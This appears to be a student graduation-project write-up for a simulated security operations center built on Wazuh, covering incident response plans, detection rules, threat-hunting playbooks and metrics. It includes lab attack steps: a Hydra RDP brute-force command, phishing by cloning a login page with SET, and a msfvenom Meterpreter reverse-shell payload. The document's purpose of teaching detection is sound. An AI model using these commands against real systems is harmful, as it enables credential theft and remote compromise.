SOC INCIDENT RESPONSE PROJECT DOCUMENTATION

Security Operations Center Simulation

Incident Detection, Response Automation & Threat Simulation

Powered by Wazuh SIEM | MITRE ATT&CK Framework

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Academic Year 2025 – 2026
Graduation Project | Computer Science & Cybersecurity

Environment Architecture

Lab Context

This project simulates a small Security Operations Center (SOC) using virtualized infrastructure on VMware. All components operate on an isolated internal network to safely simulate real-world attacks without risk to production systems.

1. Infrastructure Components

Role	OS / Tool	IP (Example)	Purpose
SIEM Server	Ubuntu 22.04 LTS	192.168.1.10	Wazuh Manager + Dashboard
Victim Machine	Windows 10 Pro	192.168.1.20	Wazuh Agent – target of attacks
Attacker Machine	Kali Linux 2024	192.168.1.30	Attack simulation & exploitation
Hypervisor	VMware Workstation	Host	Hosts all VMs on isolated network

2. Tools & Versions

Tool	Version	Function
Wazuh Manager	4.x	SIEM – log collection, alerting, active response
Wazuh Agent	4.x	Endpoint monitoring on Windows 10
Wazuh Dashboard	4.x	Web UI for alert visualization
Hydra / Medusa	Latest	Brute force simulation (Kali)
Metasploit Framework	Latest	Exploitation & payload delivery (Kali)
Social Engineering Toolkit	Latest	Phishing simulation (Kali)
EICAR Test File	Standard	Safe malware simulation trigger
Sysmon	Latest	Advanced process/network logging on Windows 10

Project 1 – Incident Response Plan Development

Objective
Create a comprehensive incident response plan that outlines procedures for identifying, managing, and mitigating security incidents effectively within the simulated SOC environment.

1.1 Attacker Profile

Attacker Type	External Threat Actor (Simulated – Kali Linux Operator)
Attack Methods	Brute Force, Phishing, Malware Deployment
Target	Windows 10 Endpoint (Wazuh Agent installed)
Motivation	Unauthorized access, credential theft, system persistence
Environment	Internal VMware isolated lab network

1.2 IR Lifecycle – NIST SP 800-61

01	**Preparation**	Configure Wazuh, define alert thresholds, document asset inventory, assign roles.
02	**Identification**	Monitor Wazuh Dashboard, triage alerts by severity: Critical / High / Medium / Low.
03	**Containment**	Short-term: isolate host. Long-term: block attacker IP via Wazuh Active Response.
04	**Eradication**	Remove malware, reset compromised credentials, patch exploited vulnerabilities.
05	**Recovery**	Restore normal operations, validate system integrity, re-enable services.
06	**Lessons Learned**	Document incident timeline, gaps found, and improvements for future response.

1.3 Roles & Responsibilities

Role	Responsibility
Incident Commander	Oversees entire response, communicates with stakeholders
SOC Analyst (L1)	Monitor Wazuh alerts, initial triage, escalation
SOC Analyst (L2)	Deep investigation, threat hunting, forensics
Systems Administrator	Containment actions, system recovery, patching
Documentation Lead	Maintain incident log, timeline, and final report

1.4 Severity Classification

Priority	Severity	Description / Response Target
P1	**Critical**	Active breach / ransomware – Immediate full team response

P2	**High**	Brute force success / lateral movement – Contain within 1 hour
P3	**Medium**	Repeated failed logins / suspicious process – Investigate within 4 hours
P4	**Low**	Single failed login / informational alert – Log and monitor

Project 2 – Incident Detection & Response Automation

Objective
Automate responses to detected security incidents using Wazuh Active Response feature to minimize attacker dwell time and reduce manual intervention.

2.1 Wazuh Detection Capabilities

- Log-based detection: Windows Event Logs, Syslog, authentication logs
- File Integrity Monitoring (FIM): Detect unauthorized file additions, modifications, deletions
- Vulnerability Detection: CVE-based scanning on endpoints
- Anomaly & Signature Detection: Built-in Wazuh rule sets (3000+ rules)
- Custom Rules: User-defined XML rules for specific attack patterns

2.2 Active Response Configuration

Wazuh Active Response executes scripts or commands automatically on agent or manager when specific alert rules are triggered. Configuration is set in ossec.conf on the Wazuh Manager.

2.2.1 Brute Force – Auto Block IP

Trigger Rule: 60122 (Windows multiple failed logon attempts)
Action: Block source IP using Windows Firewall (win_route-null script)
Timeout: 600 seconds (10 minutes block period)

2.2.2 Malware – Alert & Flag

Trigger Rule: 550+ (Wazuh FIM – new/modified file in monitored directory)
Action: Generate Critical alert on Dashboard + optional email notification

2.2.3 Phishing – Suspicious Process Kill

Trigger Rule: 18100+ (Sysmon – suspicious process spawned by browser/office)
Action: Kill process via active response kill-process script on agent

2.3 Key Wazuh Rules

Rule ID	Category	Description
60122	Windows Auth	Multiple failed Windows logon attempts (Event ID 4625)
18100	Sysmon	Suspicious process creation (Sysmon Event ID 1)
550	FIM	File added / modified / deleted in monitored path
5712	SSHD	SSH brute force attempt (Ubuntu authentication log)
92040	MITRE ATT&CK	Alert mapped to MITRE technique detection

2.4 Automated Response Flow

1	Attack executes on Windows 10 (brute force / malware / phishing).
2	Wazuh Agent collects logs in real time (Windows Event Log / Sysmon).
3	Wazuh Manager analyzes logs against rule set – alert generated with severity level.
4	Alert level evaluated: if >= configured threshold, Active Response is triggered automatically.
5	Active Response script runs on agent: block IP / kill process / send notification.
6	Full alert with details visible on Wazuh Dashboard.
7	SOC Analyst reviews, confirms, and escalates if required.

Attack Scenarios & MITRE ATT&CK Mapping

Overview

Three attack scenarios are simulated from Kali Linux against the Windows 10 target. Each scenario references MITRE ATT&CK tactics and techniques. Steps list only what is required to simulate the attack – stopping when Wazuh confirms detection.

Scenario 1 – Brute Force Attack

Attacker	Kali Linux (192.168.1.30)
Target	Windows 10 RDP (192.168.1.20) – port 3389
Goal	Gain unauthorized access via password guessing
MITRE Tactic	Credential Access (TA0006)

Simulation Steps

1. Verify connectivity from Kali to Windows 10:
   `ping 192.168.1.20`
2. Scan target ports to confirm RDP (3389) is open:
   `nmap -sV -p 3389,445 192.168.1.20`
3. Prepare a password wordlist (e.g., rockyou.txt is available at /usr/share/wordlists/rockyou.txt on Kali).
4. Launch brute force against RDP using Hydra:
   `hydra -l administrator -P /usr/share/wordlists/rockyou.txt rdp://192.168.1.20`
5. Monitor Wazuh Dashboard – look for Windows Event ID 4625 alerts (failed logon).
6. Confirm Wazuh alert triggered (Rule 60122 or similar) – simulation complete. Stop Hydra.

MITRE ATT&CK Reference

Technique ID	Name	Relevance
T1110	Brute Force	Core technique – repeated credential guessing
T1110.001	Password Guessing	Dictionary attack using rockyou wordlist
T1078	Valid Accounts	Attack goal: obtain valid credentials
T1021.001	Remote Desktop Protocol	Target service used for brute force

Scenario 2 – Phishing Attack

Attacker	Kali Linux – Social Engineering Toolkit (SET)
Target	Windows 10 user (simulated victim clicking a link)
Goal	Credential harvesting via fake login page

MITRE Tactic	Initial Access (TA0001)

Simulation Steps

1	Launch Social Engineering Toolkit on Kali: `sudo setoolkit`
2	Navigate menu: 1) Social-Engineering Attacks > 2) Website Attack Vectors > 3) Credential Harvester.
3	Select 'Site Cloner' – enter any target URL to clone (e.g., a login page).
4	SET starts a listener on Kali IP and serves the fake page.
5	On Windows 10: open a browser and navigate to the Kali IP (simulating a user clicking a phishing link).
6	Enter any credentials on the fake page – SET captures them in the terminal output.
7	Check Wazuh for outbound connection alerts or DNS anomaly alerts – simulation complete.

MITRE ATT&CK Reference

Technique ID	Name	Relevance
T1566	Phishing	Core attack vector – fake page delivery
T1566.002	Spearphishing Link	Victim navigates to attacker-controlled URL
T1598	Phishing for Information	Credential harvesting via cloned login page
T1204.001	Malicious Link	User interaction required to access the page

Scenario 3 – Malware Deployment

Attacker	Kali Linux – Metasploit / EICAR Test File
Target	Windows 10 Filesystem (monitored by Wazuh FIM)
Goal	Deploy and execute payload, trigger Wazuh FIM and Sysmon alerts
MITRE Tactic	Execution (TA0002) + Defense Evasion (TA0005)

Simulation Steps

1	Create a safe EICAR test file on Kali (this is a standard AV test string – completely harmless): `echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > eicar.com`
2	Transfer the EICAR file to Windows 10 via shared folder or SMB.
3	On Windows 10: place the file in a Wazuh FIM-monitored directory (e.g., C:\Users\Public\).
4	Wazuh FIM detects the new file creation and generates an alert (Rule 550).
5	(Advanced) Generate a Meterpreter payload on Kali:

	`msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.30 LPORT=4444 -f exe > payload.exe`
6	(Advanced) Execute payload on Windows 10 – Wazuh detects process via Sysmon Event ID 1.
7	Confirm alerts on Wazuh Dashboard: FIM alert + process creation alert – simulation complete.

MITRE ATT&CK Reference

Technique ID	Name	Relevance
T1204	User Execution	Admin/user executes the dropped file
T1204.002	Malicious File	EXE or EICAR file dropped and executed on Windows
T1059.003	Windows Command Shell	Payload may spawn cmd.exe or powershell.exe
T1055	Process Injection	Meterpreter injects into a running process
T1070.004	File Deletion	Attacker may delete dropped file post-execution

Project 3 – Tabletop Exercises for Incident Response Readiness

Objective

Conduct simulated discussion-based incident scenarios to test team readiness, identify gaps, and improve coordination without using live systems.

Exercise Scenarios

Scenario	Inject (What happens)	Expected Team Action
Brute Force	Wazuh shows 500 failed logins in 2 minutes	Identify source IP, escalate to P2, block via Active Response
Phishing	User reports suspicious email; credentials captured on Kali	Isolate host, reset credentials, search Wazuh for lateral movement
Malware	FIM alert: new .exe dropped in C:\Windows\System32	Quarantine file, export FIM report, identify delivery method
Ransomware	Multiple file changes + high CPU usage on Windows 10	Immediately isolate VM, initiate recovery from clean snapshot

Exercise Process

1. Distribute scenario brief to all team members (no prior knowledge of the inject).
2. Facilitator presents the inject – team discusses and agrees on response actions in real time.
3. Each member executes their assigned role (Analyst / SysAdmin / Commander).
4. Facilitator introduces complications: VPN down, second attack started, evidence missing.
5. Debrief: document what succeeded and what failed. Update IR plan and playbooks accordingly.

Project 4 – Real-Time Incident Monitoring & Management System

Objective
Establish a live monitoring system using Wazuh Dashboard to give the SOC team full situational awareness of the simulated environment.

Monitoring Setup

- Wazuh Dashboard configured as the central SIEM view for all security events
- Custom dashboards created for: Failed Logins, FIM Events, Active Threat Alerts, MITRE ATT&CK heatmap
- Alert severity filters: Critical (red), High (orange), Medium (yellow), Low (green)
- Notification rules set for P1/P2 alerts (email or Slack webhook)
- Event retention policy: 90 days for all security logs

Key Monitored Event Types

Event Type	Source	Wazuh Rule Range
Authentication Failures	Windows Security Log (Event 4625)	60000 – 60150
File Integrity Changes	Wazuh FIM module	550 – 591
Process Creation	Sysmon Event ID 1	18100 – 18105
Network Connections	Sysmon Event ID 3	18200 – 18210
Service Installation	Windows System Log (Event 7045)	Rule 7045

Project 5 – Threat Hunting Playbook Development

Objective

Create step-by-step playbooks for proactive threat hunting using Wazuh log data to detect threats before automated alerts fire.

Playbook 1 – Hunt for Brute Force Indicators

1	Open Wazuh Dashboard > Security Events tab.
2	Filter: rule.id:60122 AND data.win.system.eventID:4625.
3	Group results by source IP – flag IPs with more than 10 failures in under 5 minutes.
4	Cross-reference flagged IPs with threat intel (VirusTotal / AbuseIPDB).
5	If confirmed malicious: escalate to P2, block IP, document IOC in incident log.

Playbook 2 – Hunt for Suspicious Process Execution

1	Query Wazuh: rule.groups:sysmon AND data.win.eventdata.eventID:1 (process creation).
2	Look for processes spawned by: cmd.exe, powershell.exe, wscript.exe, mshta.exe.
3	Identify unusual parent-child relationships (e.g., winword.exe spawning powershell.exe).
4	Check process hash value against VirusTotal API for known malware signatures.
5	If suspicious: isolate Windows 10 VM, collect Sysmon logs, escalate to L2 analyst.

Playbook 3 – Hunt for Phishing Artifacts

1	Search Wazuh FIM alerts for new files created in: %AppData%, %Temp%, C:\Users\Public.
2	Check for browser processes (chrome.exe, firefox.exe) that spawned unusual child processes.
3	Look for new registry Run key entries (Wazuh FIM monitors HKLM\Software\Microsoft\Windows\CurrentVersion\Run).
4	Correlate with outbound network connections (Sysmon Event ID 3) to non-whitelisted IPs.
5	Document all IOCs found: file hashes, URLs, IPs, registry keys.

Project 6 – Daily Threat Intelligence Briefing

Objective
Establish a daily SOC briefing to keep the team informed of current threats, active incidents, and actionable intelligence derived from Wazuh data.

Daily Briefing Template

Section	Content	Source
Threat Summary	Top 3 active threats relevant to the lab environment	CISA Alerts, SANS ISC, Threatpost
IOC List	New IPs, domains, file hashes to add to Wazuh watchlist	VirusTotal, AbuseIPDB, OTX AlienVault
Wazuh Stats	Alert count by severity – last 24 hours	Wazuh Dashboard export (CSV/PDF)
Active Incidents	Open P1/P2 incidents and current status	Internal incident tracker
Recommendations	Patch alerts or Wazuh rule updates needed	NVD / Wazuh changelog

Schedule & Format

- Time: Daily at 09:00 – maximum 15 minutes
- Format: Standup – each analyst reports their monitoring sector
- Documentation: Briefing summary saved to shared incident log after each session

Project 7 – Incident Response Metrics & Reporting

Objective

Measure and report on incident response effectiveness using key performance indicators (KPIs) derived from Wazuh alert data.

Key Performance Indicators

Metric	Definition	Target
MTTD	Mean Time to Detect – from attack start to first Wazuh alert	**Less than 5 minutes**
MTTR	Mean Time to Respond – from alert to containment complete	**Less than 30 min (P2)**
Alert Volume	Total alerts generated per 24-hour period	**Baseline after Week 1**
False Positive Rate	Percentage of alerts confirmed as non-incidents	**Below 15%**
Active Response Rate	Percentage of alerts that auto-triggered a response	**Track weekly trend**

Reporting Cycle

- Daily: Alert summary exported from Wazuh Dashboard in PDF or CSV format
- Weekly: Trend analysis comparing alert volumes and MTTD/MTTR across scenarios
- Post-Incident: Full report per incident including timeline, actions taken, outcome, and lessons learned

Project 8 – Malware Incident Response & Forensics

Objective

Develop step-by-step procedures for responding to malware incidents including containment, evidence collection, and forensic analysis within the lab environment.

Malware IR Playbook

1	DETECT: Wazuh FIM or Sysmon alert fires for suspicious new file or unexpected process.
2	TRIAGE: SOC Analyst reviews alert – confirm malware indicator (file hash, behavior, source path).
3	CONTAIN: Isolate Windows 10 VM from network (disable VMware NIC or run Active Response isolation script).
4	COLLECT EVIDENCE: Export Wazuh logs for the affected host. Capture memory using WinPmem tool on Windows 10.
5	ANALYZE: Submit file hash to VirusTotal. Review full Sysmon process tree for the malicious execution chain.
6	ERADICATE: Delete malicious file, remove any persistence registry keys, reset credentials of affected accounts.
7	RECOVER: Restore Windows 10 from a clean VMware snapshot or rebuild the Wazuh agent from scratch.
8	DOCUMENT: Complete incident report with all IOCs, full timeline, and corrective actions taken.

Forensic Artifacts to Collect

- Windows Event Logs: Security (4624, 4625, 4688), System (7045), Application
- Sysmon Logs: Process creation (Event 1), network connections (Event 3), registry changes (Event 13)
- Wazuh FIM Report: All file changes detected on monitored directories
- Memory Dump: Volatile data including running processes, open network connections
- Prefetch Files: C:\Windows\Prefetch\ – evidence of which programs were executed

Project 9 – Third-Party Incident Response Management

Objective

Manage incidents involving third-party components within the lab (simulated vendor tools, agent software, exploit frameworks) to ensure controlled and isolated operations.

Third-Party Components in Lab

Component	Type	Risk / Action if Compromised
Wazuh Agent (Windows)	Endpoint Software	Verify agent integrity; check version, config, and communication status
VMware Hypervisor	Virtualization Platform	Ensure host isolation; no shared folders between attacker and victim VMs
rockyou.txt Wordlist	Attack Tool Data	Contained on Kali only; never transferred to victim network
Metasploit Framework	Exploit Suite	Used only in controlled lab; never against real or external systems

Third-Party IR Process

1	Identify which third-party component is involved in the incident.
2	Isolate the affected component from the rest of the lab environment immediately.
3	Notify the team member responsible for managing that component.
4	Collect all available logs and configuration state from the component at the time of the incident.
5	Assess whether the component needs to be reconfigured or replaced before environment restoration.

Project 10 – Phishing Simulation & Training

Objective
Enhance awareness of phishing threats through controlled simulation exercises and document the detection capabilities available within the Wazuh environment.

Simulation Plan

Tool Used	Social Engineering Toolkit (SET) on Kali Linux
Attack Type	Credential Harvesting via Cloned Login Page
Target	Windows 10 user (simulated phishing link click)
Detection Layer	Wazuh network connection alerts + Sysmon process monitoring
Training Goal	Team identifies phishing IOCs in Wazuh before or immediately after simulated click

Post-Simulation Training Topics

- How to identify phishing URLs, suspicious senders, and unusual link destinations
- How to read Wazuh network connection alerts for unexpected outbound connections
- Difference between credential-harvesting phishing and payload-delivery phishing
- Reporting procedure: steps to follow when a phishing attempt is suspected
- Using VirusTotal and URLScan.io to verify suspicious links before clicking

Wazuh Detection Indicators for Phishing

- Unusual outbound connections from Windows 10 to non-whitelisted IPs (Sysmon Event ID 3)
- Browser process (chrome.exe / firefox.exe) spawning cmd.exe or powershell.exe (Sysmon Event ID 1)
- DNS queries to newly registered or threat-intel-flagged domains (Sysmon Event ID 22)
- New files dropped in %AppData% or %Temp% immediately after browser activity (Wazuh FIM)